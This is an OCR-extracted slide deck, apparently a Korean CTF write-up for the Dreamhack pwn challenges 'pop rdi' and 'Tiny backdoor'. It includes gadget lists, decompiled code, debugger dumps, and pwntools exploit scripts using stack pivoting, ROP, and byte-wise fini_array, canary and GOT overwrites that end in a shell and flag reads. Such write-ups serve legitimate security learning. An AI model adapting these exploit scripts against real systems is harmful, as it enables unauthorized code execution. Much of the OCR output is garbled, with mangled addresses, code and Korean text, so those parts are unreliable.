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Description

can you find pop rdi?
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Description

can you find



POP RDI
THEIL:

ret@E L= ojMI=H 0}



POP RDI

pxi

chan@DESKTOP-PE9G5LY: /mnt/c/Users/Heechan/Downloads/pop_rdi/deploy$ ROPgadget --binary prob

Gadgets information

[chdcleleleleleleleleTciich ReF-1-
BxBEEEEE0000UB1Bab
Gx0000000000URL1ETC : 8
: add byte ptr [rax], al ;
: add byte ptr [rax], al ;
@x0000000R0RLUALE36 8
: add byte ptr [rax], al ; add dword ptr [rbp - 8x3d], ebx ; nop ; ret
r
H
i
P

Lehgclclelelelelelelefciich BT
RCllelclelelelelefeilch b 1

0x000EEEEERAULE111a
hgclclelelelclelelefciich e if=]
RClelelelelelelelefeich T
Bx0080000000UE100d

0x060EEEE686LE111Y

0x0000000000L401133
RCeleleleleleleleleich Re Tk

Rclelelelelelelelefelch e

0x0600EEE000LE10eS
exeeceeeeeReUElERf

Unique gadgets found: 5@

: add byte ptr [rax], al
: add byte ptr [rax], al
: add byte ptr [rax], al
BxEEEEEEEE00UE111DL
: add byte ptr ecs:[rax], al ; add dword ptr [rbp - ©8x3d], ebx ; nop ; ret
@x0000EeeRARUAL1ET
Gx0000000000UR10aa :
@x000000000RUA1E3E
0x0000000800UB111 :
Gx000000660R8LUA111T :
@x000000000RUA1R1T :
Gx0000000000UA1E1E :
@x0000eeeRARLUELE3e
Gx0000060BARUAL1E1Y :
: cli ; jmp @xuelece
:cli ; ret

0x0000000080LA116F :
@x000000000RUA1130 :
Gx000000000GUAL1EEE :
@x000000000RUA1012 :
Gx0000000BARUA1RAS :
@x0e00eeeRARUELReT
Gx0000000B00UB163a
GxoeeeeeeeEAALAL13Y
BxB0EEEE0000UE1E8L
Gx0000000000UR1RaC :
@x0000EeeRARUAL1EE
BxBB00EE0006UE10ad :
@x000000000RUA111E6 :
Gx0000000800UB1163 :
@xeeeeeeeeeRUeLRaT
BxBEEEEO0000UBLBaAT
Gx0000800RARUAL112. :
@x0eeeeeeEARUELRaG
BxB8000E0606LUE111d :
@xeeeeeeeeEeRUEL1R1a
Gx0000000000UB16811 :
@x000000000RUA1171 :
0x0000000000UA11T7E :
Gx000000060R8LUA1AE1E :

adc byte ptr [rax + 6xu48], al ; add bh, bh ; loopne 8x481115 ; nop ; ret
add bh, bh ; loopne @x481115 ; nop ; ret

add byte ptr [rax], al ; add byte ptr [rax], al ; endbréd ; ret

add byte ptr [rax], al ; leave ; ret

add cl, cl ; ret

add byte ptr [rax], al ; add dl, dh ; jmp @x401020

endbréy ; ret

leave ; ret

test rax, rax ; je 8xu0l@lé ; call rax
add byte ptr [rex], al ; pop rbp ; ret

add el, el ; ret

add dil, dil ; loopne Ox481115 ; nop ; ret

add dl, dh ; jmp exueleze

add dword ptr [rbp - @x3d], ebx ; nop ; ret

add eax, 0x2ef3 ; add dword ptr [rbp - 8x3d], ebx ; nop ; ret
add esp, 8 ; ret

add rsp, 8 ; ret

call gqword ptr [rax - @x5elfeed]

call rax

cli ; sub rsp, 8 ; add rsp, 8 ; ret

endbréd ; jmp @xuelece

endbréd ; ret

je @8xu@lels ; call rax

je OxuB1GbA® ; mov edi, OxUBUELE ; jmp rax

je @xuB1efe ; mov edi, @xuEUELE ; jmp rax

jmp 8xu01020

jmp @xu48l@ce

jmp @xuBuE183f

jmp rax

leave ; ret

loopne Ox481115 ; nop ; ret

mov byte ptr [rip + @x2ef3], 1 ; pop rbp ; ret

mov eax, @ ; leave ; ret

mov edi, @xuyeB4@le ; jmp rax

nop ; ret

nop dword ptr [rax] ; endbréd ; jmp @xU81l8c®

or dword ptr [rdi + @xu4e4ele], edi ; jmp rax

pop rbp ; ret

ret

sal byte ptr [rdx + rax - 1], Oxd® ; add rsp, 8 ; ret
sub esp, 8 ; add rsp, 8 ; ret
sub rsp, 8 ; add rsp, 8 ; ret
test eax, eax ; je 8xu01816 ; call rax
test eax, eax
test rax, rax

je Bxu010f0
je @xuelels

mov edi, @x4OUB1E ; jmp rax
call rax

i i

: test eax, eax ; je Oxu4@10be ; mov edi, Ox4OUE1E ; jmp rax
i i
H H



POP RDI
HiolL42l:

int _ fastcall main(int argc, const char **argv, const char **envp)

.'I
L

char v4[256];




POP RDI
HiolL42l:

int _ fastcall main(int argc, const char **argv, const char **envp)

.'I
L

char v4[256];




POP RDI
HiolL42l:




POP RDI

SNl B

Zo|X @DH 2025-01-06 2% 11:22
[} MUl pop rdi =Xl libc leak= & = JA=AH0 22
full relro 0| A got overwrite .= 25H=0l

HRE FAZYO| REE 2H Q17127



POP RDI

SNl S

0x40111¢c: add [rbp-0x3D], ebx : nop : ret : (1 found)



POP RDI

SNl S




POP RDI

SNl B

int _ fastcall main(int argc, const char **argv, const char **envp)

.'I
L

char v4[256];




POP RDI

SNl S

x64 calling convention

. The first four arguments
e sl o

. Main(string[] args) “\ CPU registers i . i W

store
DoCalc(44, logger); siorasoma
nonvolatile
static public void registers
DoCalc(int x, Logger logger) { ‘ B < (if needed)
: - now
[_)ateTlme HOWESS- 1. | stack locals
int result = ...; ‘ , frame | result
logger.Log(now, result); (808)
Stack pointer (so, end
of stack frame) must —
be 16-byte aligned,
so we have 8B used used as space for
for ahgnmont callee to save
Program.DoCalc(Int32, Logger) N rex, rdx, r8 and r9

pUSh rdi < T ' (if needed)
push rsi
sub rsp, 0x38

shadow store
The last 32B (4x8B)

add rsp, 0x38
pop rsi

pop rdi

ret




POP RDI

SNl S

S= 7J2oll OISHAM MHIXIAEIE EJAIT



POP RDI

SNl S

[MEXZE]

scanf("%d", &num);

1

[ _isoc99 scanf() ]
libcO| A X &SH= scanf i &

— va_listS MAsl __ anf_internal (YO FE

L2

[ _wvfscanf internal() ]
AR E SR T 9 4 Ha| S

E2o| A Ho|Ef 47|

[M4+F 1/0 & (10_getc §) ]
- stdin®i[A] 22Xt T2 A4S
- HHE N2 X



POP RDI

SNl S

[MEXZE]

scanf("%d", &num);

1

[ _isoc99 scanf() ]
libcO| A X &SH= scanf i &

— va_listS MAsl __ anf_internal (YO FE

L2

[ _wvfscanf internal() ]
AR E SR T 9 4 Ha| S

E2o| A Ho|Ef 47|

[M4+F 1/0 & (10_getc §) ]
- stdin®i[A] 22Xt T2 A4S
- HHE N2 X



POP RDI

SNl S

*RSI @xa

R8 (5]

R9 Bx209ca2ad +— Bx616161616:
*R1@ extHrififffffse

R11 ©

*R12 ©

*R13 @xa

*R14  @x7bd344027a20 (10 2 1 s
*R15 @xa

*RBP @x7ffcad35f740 —» ©x484bg
*RSP  ex7ffcad35f718 «— @

*RIP ©x7bd343e7120f +— pop rbx

1616161 (' aaaaaaaa')

tdin ) «— exfbad2ess

0 +— Ox404bse

LDTSASM [ xRh-64 [ set _emulate on 1
» 8x7bd343e7120f pop rbx RBX => @
ex7bd343e71210 pop ri2 R12 => @x7ffcad35f938
ex7bd343e71212 pop ri3 R13 => @x491136 (main)
ex7bd343e71214 pop ri4 R14 => @x403dd8 (__do global dtors aux fini array entry)
ox7bd343e71216 pop ris R15 => @x7bd344074049 (_rtld global)
ex7bd343e71218 pop rbp RBP => @x404b8e
ex7bd343e71219 ret <_ 150099 scanf+178»
0x7bd343e701c2 <__isoc99 scanf+178> mov rdx, gqword ptr [rsp + ©x18] RDX, [@x7ffcad35f768] => @x3e3879ab2edabeod
0x7bd343e701c7 < isoc99 scanf+183> sub rdx, gword ptr fs:[ex28] RDX => © (©x3e3879ab2ed4bend - Bx3e3879ab2edabedn)
ex7bd343e701de < isoc99 scanf+192> X jne __isoc99 scanf+202 <_ 150099 scanft202>
0x7bd343e701d2 <__isoc99 scanf+194> add rsp, exds RSP => @x7ffcad35f828 (ex7ffcad35f750 + @xds)
| STACK™]

00:00008| rsp Ox7ffcad3s5f718 <
01:0008| -020 ox7ffcad3sf720 —
02:0010| -018 Ox7ffcad35f728 —
03:0018| -010 Ox7ffcad3sf730 —
e4:0020| -ee8 ex7ffcad3sf738 —
05:0028| rbp ex7ffcad3sf740 —
06:0030| +008 Ox7ffcad35f748 —
07:0038| +910 ox7ffcad3s5f750

(5]

ox7ffcad3s5t938 — ex7ffcad360ee8 <« Ox4800626172702f2e /* './prob’ */

0x401136 (main) «— endbré4

ox493dd8 (  do global dtors aux fini array entry) — ex4e1109 ( do global dtors aux) =— endbre4
ex7bd344074e4e (_rtld global) —» ex7bd3440752e0 «— @

0x404b80 <— 0x404b80

0x7bd343e701c2 (_ isoc99 scanf+178) «— mov rdx, gword ptr [rsp + ex18]

Bx3000000003

= @ ox7bd343e7126f None

[ BACKTRACE ]

1  @x7bd343e701c2 __ isoc99 scanf+178

2 0x491163 main+45




POP RDI

SNl S

cts = T RSP - 0x118



POP RDI

exploit:

STACK PIVOTING

[HE AEHS LHTH A5H= =AE 2T1= TS



POP RDI

exploit:

empty push push push pop
stack




POP RDI

exploit:

Ox4047d8:
oxded7e8:
Ox404718:
Bx484808
Bx404818:
Ox404828:
OxA04838:
Bx484848:
Bx4A04858:
Ox404868:
OxA0A878:
Bx484888:
Bx404898
ex4848a8:
0x40848b8:
Bx4848c8:
Ox4048d8:
ex4048e8:
Ox484818:
BK&B&QBBi

ExX0P00REERRERERRER
OXE00000DREDROaBDA
OXBEREBEREERRRBDR
S B1A151515]5 5515 515 5 1515]5)
ExX0P00REERRERERRER
OXE00000DREDROaBDA
OXBEREBEREERRRBDR
S B1A151515]5 5515 515 5 1515]5)
ExX0P00REERRERERRER
OXE00000DREDROaBDA
Gl L a5 s [
Bx0bolRgRBRRReRBRR
0x3e3879ab2edabedo
OxX0PPPRPPPRRRS9hI
Gl L a5 s [
gxeboageread8dave
exeeRa7bd343e701c2
Ex000008BRRR4RA9CH
0x3e3879%ab2ed4bebd
BxPbeaeeerea4849ce

(%) (51515151515 515151551515 5 51%)
Bx600000000E00D
@xB00000eRREARL
(50 (5151515 1% 5 51515151515 1% 515 1%)
(%) (51515151515 515151551515 5 51%)
Bx600000000E00D
@xB00000eRREARL
(50 (5151515 1% 5 51515151515 1% 515 1%)
(%) (51515151515 515151551515 5 51%)
Bx600000000E00D
8x0000000PBEPBRD
(50 (5151515 1% 5 5151515 1515 1% 515 1%)
(5) (51515151515 515151551515 55 1%)
(50 (51515151515 5151515515 1% 5 51%)
8x0000000PBEPBRD
BxBoBooeoeABAaco
BxB0RBV30000S
(50 (51515151515 5151515 T T e 15
8x0000000PBEPBRD
BxBBBBR209ca2e9



POP RDI

exploit:

Ox4047d8:
oxded7e8:
Ox404718:
Bx484808
Bx404818:
Ox404828:
OxA04838:
Bx484848:
Bx4A04858:
Ox404868:
OxA0A878:
Bx484888:
Bx404898
ex4848a8:
0x40848b8:
Bx4848c8:
Ox4048d8:
ex4048e8:
Ox484818:
BK&B&QBBi

ExX0P00REERRERERRER
OXE00000DREDROaBDA
OXBEREBEREERRRBDR
S B1A151515]5 5515 515 5 1515]5)
ExX0P00REERRERERRER
OXE00000DREDROaBDA
OXBEREBEREERRRBDR
S B1A151515]5 5515 515 5 1515]5)
ExX0P00REERRERERRER
OXE00000DREDROaBDA
Gl L a5 s [
Bx0bolRgRBRRReRBRR
0x3e3879ab2edabedo
OxX0PPPRPPPRRRS9hI
Gl L a5 s [
gxeboagaevea484a88
exeeea7bd343e701c2
Ex000008BRRR4RA9CH
0x3e3879%ab2ed4bebd
BxPbeaeeerea4849ce

(%) (51515151515 515151551515 5 51%)
Bx600000000E00D
@xB00000eRREARL
(50 (5151515 1% 5 51515151515 1% 515 1%)
(%) (51515151515 515151551515 5 51%)
Bx600000000E00D
@xB00000eRREARL
(50 (5151515 1% 5 51515151515 1% 515 1%)
(%) (51515151515 515151551515 5 51%)
Bx600000000E00D
8x0000000PBEPBRD
(50 (5151515 1% 5 5151515 1515 1% 515 1%)
(5) (51515151515 515151551515 55 1%)
(50 (51515151515 5151515515 1% 5 51%)
8x0000000PBEPBRD
BxBoBooeoeABAaco
BxB0RBV30000S
(50 (51515151515 5151515 T T e 15
8x0000000PBEPBRD
BxBBBBR209ca2e9



POP RDI
exploit:



POP RDI

exploit:

from pwn import *

= remote('localhost’', 8080)
remote('host3.dreamhack.games',11959)
= process('./prob")

ELF("./prob")

ret = 0x40101a

1
P
B
4
5
6
7
8
9

=
®

payload = b'a'*0x100+p64(0x404b80)+p64(0x401145) # stack pivoting

p.sendline(payload)

payload = b'b'*Bx100+p64(0x404b80)+p64(ret)*2+p64(0x401145)+p64(0x401145)+p64(0x401145) # rsp =clF= oA

p.sendline(payload)

payload = p64(1)+p64(0x89b90)+p64(0)+p64(0)+p64(0)+p64(0x404a00)+p64(0x4042a00)+p64(ret)+p64(0x401136) # rbx 7L AlE

p.sendline(payload)

pop_rbp = 0x40111d

payload = b'b'*0x100+p64(0x4048d8)+p64(pop_rbp)+p64(0x4048d8+0x3d)+p64(0x000000000040111C )+p64(pop_rbp)+p64(0x4048d0)+p64(0x0000000000401168 )
p.sendline(payload)

p.interactive()

S T =
® W W ~NO U B WN R




POP RDI

exploit:

chan@DESKTOP-PE9G5L9: /mnt/c/Users/Heechan/Downloads/pop_rdi/deploy$ fusr/bin/python
3 /mnt/c/Users/Heechan/Downloads/pop rdi/deploy/ex.py

[+] Opening connection to host3.dreamhack.games on port 11959: Done

[*] '/mnt/c/Users/Heechan/Downloads/pop rdi/deploy/prob’

Arch: amdea-64-1ittle
RELRO: Full RELRO
Stack: No canary found
X NX enabled

PIE: No PIE (IE!KHJE!@E!E!@]
SHSTK: Enabled

IBT: Enabled

Stripped: HNo
[*] switching to interactive mode
$ 1s
flag
prob
$ cat flag
DH{ 3¢ |
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Tiny backdoor

27l A108:

Description

S0l 26| HFE{O| LA|E oj20| ZRIYS WA
of At maZo|x|gt “A*EHE JEERR =g

SHo| HTolS si2sto] LS HSHEM Q!




Tiny backdoor

2Nl A0

[#] '/mnt/c/Users/Heechan/Downloads/tiny_backdoor/backdoor’

Arch: amdéld-6U4-1little
RELRO:

Stack: Canary found
NX: NX enabled

PIE:



Tiny backdoor
HiolLi2l:
[ 08503 main proc near

©®as503
PO5D3 var 10 = qword ptr -16h

; __unwind {

eas5D3 push rbx

ees5D4 Xor esi, esi 5 buf

008506 sub rsp,

A mov - stdi ;3 stream

MoV ,

BESEA mov 5 - 18], rax

Ba5EF Xor
call

PASF6 Moy d1 \ " a0 3 5 tream
Ba5FD xor esi, esi 5 buf
PA5FF call

xor
call sub_ 408727
mow rbx, rax
xor eax, X
call sub_ 400727
MoV [rax], bl
mov rax, [rsp+l18h+var 18]
Xor rax, fs:
short loc_40
__stack ¢




Tiny backdoor
HioILi2l:

unsigned __ int64 v5;

=  readfsqword(@x28u);
etbuf(stdin, @LL);
etbuf(stdout, OLL);

= sub_408727();
*sub_400727() = 5
return _ readfsqword(®x28u) ~




Tiny backdoor
HioILi2l:

unsigned __ int64 v5;

= _ readfsqword(@x28u);

*sub_400727() R
return _ readfsqword(®x28u) ~




Tiny backdoor
HrolL12I:

.-I-
L

L i r‘l t I;:-'l I"J. "l_.‘l I:1 _I.

3
3
__1nted v3;

= 1LL;
_F or |: = [1 |_ |_ ; _I!
1
= getchar();

Py I

== i

4 |:.

10LL;




Tiny backdoor

SNl S

1byte AAW TiE



Tiny backdoor

SNl S




Tiny backdoor

SNl S

Fini array overwrite



Tiny backdoor

SNl S

_fini_array segment qword public
assume cs: ftinl array

off_6009B8

_fini_array ends




Tiny backdoor

SNl S




Tiny backd

SNl S

2) fini_array 0%
(Ox6009BE&] = main




Tiny backdoor
Got pit:

« call printf@plt »

dl_resolve
plt
imp got .




Tiny backdoor

canary-.

ol Tto] M XEIH X 12



Tiny backdoor

canary:

diLi2I= BHEE
Stack.chk-_fail ol

i
SkA AIGH

N
T




Tiny backdoor

canary:

egment gword public 'DATA' usebtd
ume c¢s: got plt

stru_60e9Cs




Tiny backdoor

exploit:

1H o|8gl0] B9t aaw s




Tiny backdoor

exploit:

fini array2 => canary =) fini array1 =) canary
=) canary =) canary



Tiny backdoor

R o
a5 D" maliln [JF'DC near
Y
_r
CMo

3 var_10 = qword ptr -18h

__unwind {
push rbx
xor esi, esi ; buf
sub rsp,
mov Fdi) :stdi ; stream
mov
mow +var_10], rax
xor
call
mov di, :stdo ; stream
xor esi, esi ; buf
ca
XOr
call
mowv
xor
call
mov [rntj
mov rax, [r:p+1@h+war_19]
xor rax, fs:28 h

short lo




Tiny backdoor

exploit:

; __unwind {
sub rsp, 18h
mow edi, 1
mov rax, ts:28h
mov [rsp+18h+var 18],
xor eax, eax
call _sleep
MoV rax, [rsp+18h+var 10
xor rax, ts:28h
jz short loc_ 4005C3
call __stack_chk_fail

o

m m
(W]

C
BE

loc_4085C3:
lea
add
jmp
; ¥ // starts at 406
sub_4 endp

(Y]

L
(W]




Tiny backdoor

exploit:

Setbuf -> puts



Tiny backdoor

exploit:

def overwrite(a,b):
p.sendline(f'{str(int(a))[::-1]}".encode())
sleep(0.1)
p.sendline(f'{str(int(b))[::-1]}".encode())
T FttE] B7| -o--ooi-
overwrite(0xf6,0x6009c0) #fini array 2
overwrite(oxf6,0x600bc8)  #canary
overwrite(4,0x6009b8) #fini array 1
overwrite(OxDA,0x600bc8)  #canary
overwrite(4,0x600bc8) #canary
overwrite(6,0x600bc9) #canary



Tiny backdoor

exploit:

overwrite(@xce,
overwrite(ox5,
overwrite(0x490,
overwrite(ox0,
overwrite(ox0,
overwrite(ox0,

overwrite(0xf6,
overwrite(0x5,
overwrite(0x40,
overwrite(ox0,
overwrite(ox0,
overwrite(ox0,

overwrite(ox8,
overwrite(ox64,

0x600bd0)
0x600bel)
0x600be2)
Ox600be3)
0x600be4 )
0x600be5)

Ox600b98)
Ox600b99)
Ox600b9a)
OXx600b9b)
OXx600b9c)
Ox600b9d)

Ox600c00)
Ox600bc8)

libc leak Al&f ----------

#setbuf O puts 27|

# _libc_start _main main A=

# libc_start main22Z 77|



Tiny backdoor

°n . overwrite(4,0x600BC8)
exp‘c.t. overwrite(bytes_list[@],0x600BD0)

overwrite(bytes list[1],0x600BD1)

overwrite(bytes list[2],0x600BD2)

overwrite(bytes list[3],0x600BD3)

overwrite(bytes list[4],0x600BD4)

overwrite(bytes list[5],0x600BD5)

binsh =

[O0x2f,0x62,0Xx69,0x6e,0x2f,0x73,0x68,0x00 ]

for i in range(7):
overwrite(binsh[i],ox600C10+1i)

stdin =

[0x10,0x0cC,0x60,0x00,0x00,0x00,0x00,0x00 ]

for i in range(7):
overwrite(stdin[i],0x600c00+1)

slep = [0xf6,0x05,0x40,0x00,0x00,0x00,0x00,0x00 ]

for i in range(7):
overwrite(slep[i],0x600BEO+1i)

overwrite(0xa9,0x600B98)

overwrite(0x64,0x600BC8)



Tiny backdoor

2k

chan@DESKTOP-PE9G5L9: /mnt/c/Users/Heechan/Downloads/tiny backdoor$ /usr/bin/python3 /mnt/c/Users/Heechan/Downloads/tiny backdoor/ex3.py
[+] Opening connection to host3.dreamhack.games on port 13880: Done
[*] '/mnt/c/Users/Heechan/Downloads/tiny backdoor/libc-2.27.s0’

Arch: amde4-64-1ittle

RELRO: Partial RELRO

stack: Canary found

NX: NX enabled

PIE: PIE enabled
ex7fedeo7dba2e

[32, 180, 125, 9, 13, 127]

[*] Paused (press any to continue)
[*] switching to interactive mode

$ 1s

backdoor

flag.txt

$ cat flag.txt

DH{ | H
$
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